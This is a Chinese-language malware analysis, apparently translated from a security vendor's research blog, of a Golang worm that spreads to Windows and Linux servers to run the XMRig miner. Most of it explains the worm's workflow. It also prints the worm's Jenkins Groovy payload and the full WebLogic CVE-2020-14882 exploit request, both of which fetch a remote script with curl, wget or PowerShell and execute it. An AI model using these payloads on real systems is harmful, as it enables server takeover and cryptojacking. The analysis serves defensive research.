Golang蠕蟲將Windows和Linux伺服器變成門羅幣挖礦機
使用Golang語言開發多平台惡意軟體是2020年惡意軟體的發展趨勢。2020年12月初,研究人員發現了一個新的用Golang語言編寫的蠕蟲。該蠕蟲嘗試在網路中傳播來大規模地運行XMRig挖礦機。惡意軟體的目標是Windows和Linux伺服器。在老版本中,該蠕蟲嘗試利用WebLogic的漏洞——CVE-2020-14882。
研究人員分析發現,攻擊者持續更新C2伺服器上的蠕蟲,表明惡意軟體開發者非常活躍,而且在未來的更新中可能會攻擊其他弱配置的服務。
技術分析
攻擊者使用了3個文件:
·釋放器腳本(bash或powershell);
·Golang二進位蠕蟲;
·XMRig 挖礦機。
這3個文件都位於同一C2伺服器上。
截止目前,ELF 蠕蟲二進位文件和bash 釋放器腳本在VirusTotal 中都沒有檢測到。圖1是VirusTotal 對ELF 蠕蟲二進位文件的檢測結果。
圖 1: VirusTotal 對ELF 蠕蟲二進位文件的檢測結果
惡意軟體在Windows和Linux操作系統上的行為非常相似。下面對Linux蠕蟲的工作流進行分析。
Linux蠕蟲工作流
蠕蟲執行後會檢查受感染的機器上是否有進程在監聽52013埠。埠監聽器的存在是一個mutex互斥量。如果埠的socket已經開放,惡意軟體實例就會退出,否則就會打開一個埠的網路socket。
在老版本中,蠕蟲會解壓XMRig 挖礦機為Network01到tmp文件夾中,並運行。挖礦機會使用Go資源嵌入包(go-bindata)嵌入到Golang二進位文件中,惡意軟體會使用bindataFile來解壓嵌入的XMRig 挖礦機。圖2是文件中的函數:
圖 2: xmrig_linux_amd64.go文件
惡意軟體會使用TCP SYN掃描網路來找到可以暴力破解的服務,並在網路中傳播。然後掃描有與這些服務相關的開放埠的IP,Tomcat 和 Jenkins的埠是8080,MySQL的埠是3306,WebLogic的埠是7001。這些漏洞利用中在src exp代碼下有一個包。
圖 3: 「exp」包文件和函數
蠕蟲使用gopacket庫來提供Go語言的C綁定,用libpcap來讀取網路包。通過運行pcapc,蠕蟲會收集網路數據並繼續對服務進行暴力破解。圖4是蠕蟲暴力破解和嘗試在Tomcat和MySQL服務上進行漏洞利用的結果。
圖 4: 蠕蟲結果片段
漏洞利用後,惡意軟體會傳播一個載入器腳本:Linux系統是ld.sh,Windows平台是ld.ps1。載入器負責釋放和運行XMRig挖礦機和Golang 蠕蟲。圖5和圖6是載入器腳本。
圖 5:? ldr.sh –Linux平台的釋放器bash腳本
圖 6: ldr.ps1 script – Windows平台的釋放器 powershell腳本
漏洞利用流
下面描述每個服務的攻擊流:
MySql: Port 3306
惡意軟體會運行憑證暴力破解攻擊。惡意軟體會使用硬編碼的弱憑證目錄,比如root:123456。
成功登陸後,惡意軟體會使用mysql UDF運行shellcode來獲取本地許可權提升。漏洞利用以十六進位字元串的形式嵌入在二進位文件中。蠕蟲對不同的操作系統和架構有不同的漏洞利用,設計的系統和架構有UDFLINUX32、UDFLINUX64、UDFLWIN32和UDFWIN64。
運行漏洞利用後,payload會用sys_exec 命令來釋放和運行載入器腳本。URLWIN 和URLLINUX 保存釋放器腳本URL。圖7和圖8是每個操作系統對應的payload。
圖 7: MySQL查詢– Linux payload
圖 8: MySQL 查詢– Windows payload
Tomcat: Port 8080
惡意軟體會使用基本認證在管理員面板上運行憑證填充。
圖 9: 到Tomcat管理員面板的認證請求示例
成功嘗試後,惡意軟體會嘗試部署一個WAR文件,用來傳輸含有惡意payload的1.jsp 文件。
惡意軟體會發送Get請求,並分析jsp文件 %s/1.jsp?win=%slinux=%s 的參數。這些參數中含有釋放器腳本URL。然後,JSP腳本會釋放和運行其載入器。
圖 10: 1.jsp文件腳本
Jenkins: Port 8080
與之前漏洞利用類似,惡意軟體會用口令填充來暴力破解Jenkins 登陸,並運行以下payload:
cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(『%s』)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
println 「%s」 」%s」;def s=new String(Base64.getDecoder().decode(「%s」 」%s」.reverse())).split(「!」);def c=System.getProperty(「os.name」).contains(「indo」)?s[0].split(「@」):s[1].split(「@」);c.execute()
WebLogic: Port 7001
在之前版本中,惡意軟體會用最新的WebLogic 遠程代碼執行漏洞利用CVE-2020-14882。惡意軟體會發送到WebLogic服務的get請求,並使用GET請求header 作為payload的一部分。
GET
/console/css/%%%2%e%%%2%e%%%2%fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(『weblogic.work.ExecuteThread
% currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter% adapter=currentThread.getCurrentWork();java.lang.reflect.Field%
field=adapter.getClass().getDeclaredField(「connectionHandler」);field.setAccessible
(true);Object% obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl% req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(「getServletRequest」).invoke(obj);String% cmd=req.getHeader(「cmd」);String[]%%
20cmds=System.getProperty(「os.name」).toLowerCase().contains(「win」)?new% String[]{「cmd.exe」,」/c」,req.getHeader(「win」)}:new% String[]{「/bin/sh」,」c」,req.getHeader
(「linux」)};if(cmd!=nullcurrentThread.interrupt();』) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O – %s) | bash )
win: start powershell iex(New-Object Net.WebClient).DownloadString(『%s』)
總結
在2020年,研究人員發現許多攻擊不同平台的Golang惡意軟體,包括Windows、Linux、Mac和安卓。研究人員認為這一趨勢在2021年將會繼續。此外,蠕蟲的PE和ELF版本代碼幾乎完全相同。
參考及來源:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/